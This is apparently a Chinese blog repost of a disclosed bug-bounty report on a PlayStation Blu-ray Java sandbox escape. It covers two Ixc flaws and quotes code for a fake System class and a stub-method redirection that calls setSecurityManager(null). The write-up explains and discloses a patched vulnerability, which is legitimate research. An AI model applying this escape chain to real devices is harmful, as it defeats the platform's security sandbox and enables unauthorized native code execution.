蓝光碟Java沙箱逃逸漏洞分析

本文详细分析了PlayStation蓝光碟Java环境中存在的两个安全漏洞,通过利用Ixc实现中的缺陷成功绕过安全管理器并实现沙箱逃逸,最终获得原生代码执行能力。漏洞涉及权限检查绕过和特权方法调用等关键技术细节。

蓝光碟Java沙箱逃逸漏洞分析

漏洞概述

在bd-j环境中存在两个Ixc(Inter-Xlet Communication)实现:org.dvb.io.ixc和com.sun.xlet.ixc。通过利用这两个实现中的漏洞,可以禁用安全管理器并逃逸Java沙箱。

漏洞1分析

org.dvb.io.ixc实现使用com.sony.gemstack.org.dvb.io.ixc.IxcProxy,该组件允许在特权上下文中调用方法。原始漏洞的缓解措施是检查调用栈是否包含com.sony.gemstack.org.dvb.io.ixc.IxcProxy类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
try {
    var4 = (Class[])AccessController.doPrivileged(new IxcProxy.GetCallStackAction());
} catch (PrivilegedActionException var9) {
}

if (var4 != null && var4.length > 2) {
    for(int var5 = 0; var5 < var4.length; ++var5) {
        String var6 = var4[var5].getName();
        if (var6.equals("com.sony.gemstack.org.dvb.io.ixc.IxcProxy")) {
            String var7 = var4[var5 + 1].getName();
            if (!var7.startsWith("org.dvb.io.ixc.") && !var7.startsWith("com.sony.gemstack.org.dvb.io.ixc.")) {
                throw new SecurityException("illegal call of invokeMethod");
            }
            break;
        }
    }
}

然而,这种缓解措施并不充分,因为真实代理类(由com.sony.gemstack.org.dvb.io.ixc.IxcProxyBuilder构建)的方法仍然可以在特权上下文中调用。

如果某个类实现了扩展java.rmi.Remote的接口,就可以为Ixc注册实例。此外,只有抛出java.rmi.RemoteException的方法才能通过Ixc调用。

任何满足这些条件的引导类都可以利用特权方法调用。com.sun.xlet.ixc.IxcRegistryImpl就是这种情况,因此可以通过org.dvb.io.ixc.IxcRegistry进行Ixc注册(通过子类化com.sun.xlet.ixc.IxcRegistryImpl并创建子类的新实例)。

com.sun.xlet.ixc.IxcRegistryImpl中的方法包含在bd-j中通常不被授予的权限检查:

1
2
3
SecurityManager sm = System.getSecurityManager();
if (sm != null)
    sm.checkPermission(new IxcPermission(name, "bind"));

但是,通过在远程对象上通过org.dvb.io.ixc调用bind和lookup并调用远程方法,现在可以绕过com.sun.xlet.ixc.IxcRegistryImpl中的权限检查。

漏洞2分析

com.sun.xlet.ixc实现包含一个允许特权方法调用的漏洞。具体来说,com.sun.xlet.ixc.WrappedRemote中的com_sun_xlet_execute方法在AccessController.doPrivileged块中调用remoteMethod:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
AccessController.doPrivileged(
    new PrivilegedExceptionAction() {
        public Object run() throws RemoteException {
            Throwable err = null;
            try {
                result[0] = remoteMethod.invoke(targetNow, args);
            } catch (InvocationTargetException ite) {
                err = ite.getTargetException();
            } catch (Throwable t) {
                err = t;
            }
            // ...
            return null;
        }
    }
, context);

该方法可通过通过com.sun.xlet.ixc.IxcClassLoader注册对象时生成的存根类访问:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public final class StubClass$$42 extends com.sun.xlet.WrappedRemote
implements UserIF {

    private static Method com_sun_xlet_method0;
    private static Method com_sun_xlet_method1;

    public static void com_sun_xlet_init(Method findMethodMethod)
    throws Exception {
        if (com_sun_xlet_method0 != null) {
            return;
        }
        com_sun_xlet_method0 = (Method) findMethodMethod.invoke(null,
        new Object[] { "UserIF", "frob", new Object[] { "Something" }});
        com_sun_xlet_method1 = (Method) findMethodMethod.invoke(null,
        new Object[] { "UserIF", "glorp",
        new Object[] { java.lang.Float.TYPE }});
    }

    public static void com_sun_xlet_destroy() {
        com_sun_xlet_method0 = null;
        com_sun_xlet_method1 = null;
    }

    public StubClass$$42(Remote target, ImportRegistryImpl registry,
    RegistryKey key) {
        super(target, registry, key);
    }

    public void frob(Something arg1) throws org.dvb.ixc.RemoteException {
        com_sun_xlet_execute(com_sun_xlet_method0,
        new Object[] { arg1 });
    }

    public int glorp(float arg1) throws org.dvb.ixc.RemoteException {
        Object r = com_sun_xlet_execute(com_sun_xlet_method1,
        new Object[] { new Float(arg1) });
        return ((Integer) r).intValue();
    }
}

要利用特权方法调用,需要将com_sun_xlet_method0设置为有意义的值。

考虑以下伪造的System类:

1
2
3
4
5
6
7
public interface SystemInterface extends java.rmi.Remote {
    void setSecurityManager(java.rmi.Remote sm) throws java.rmi.RemoteException;
}

public class SystemImpl implements SystemInterface {
    public void setSecurityManager(java.rmi.Remote sm) {}
}

创建此类的实例并通过com.sun.xlet.ixc.IxcRegistryImpl注册(通过利用漏洞1实现)。

在存根类的远程对象上,调用com_sun_xlet_destroy将com_sun_xlet_method0设置为null,然后使用自定义的findMethod方法作为参数调用com_sun_xlet_init:

1
2
3
4
5
public static Object findMethod(String cName, String mName, Object[] types)
throws NoSuchMethodException {
    return System.class.getMethod(
        "setSecurityManager", new Class[] {SecurityManager.class});
}

这将把com_sun_xlet_method0设置为真实的System.setSecurityManager。现在,在远程SystemImpl对象上调用setSecurityManager(null)时,将改为调用System.SecurityManager(null)。这有效地禁用了Java沙箱。

影响

在bd-j中实现原生代码执行

时间线

  • 2025年4月22日:theflow0向PlayStation提交报告
  • 2025年7月15日:PlayStation向theflow0支付5000美元赏金
  • 2025年10月18日:报告被公开披露

漏洞信息

  • 报告ID:#3104356
  • 状态:已解决
  • 严重程度:中等(4~6.9)
  • 弱点类型:不必要权限执行
  • CVE ID:无
  • 赏金:$5,000
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计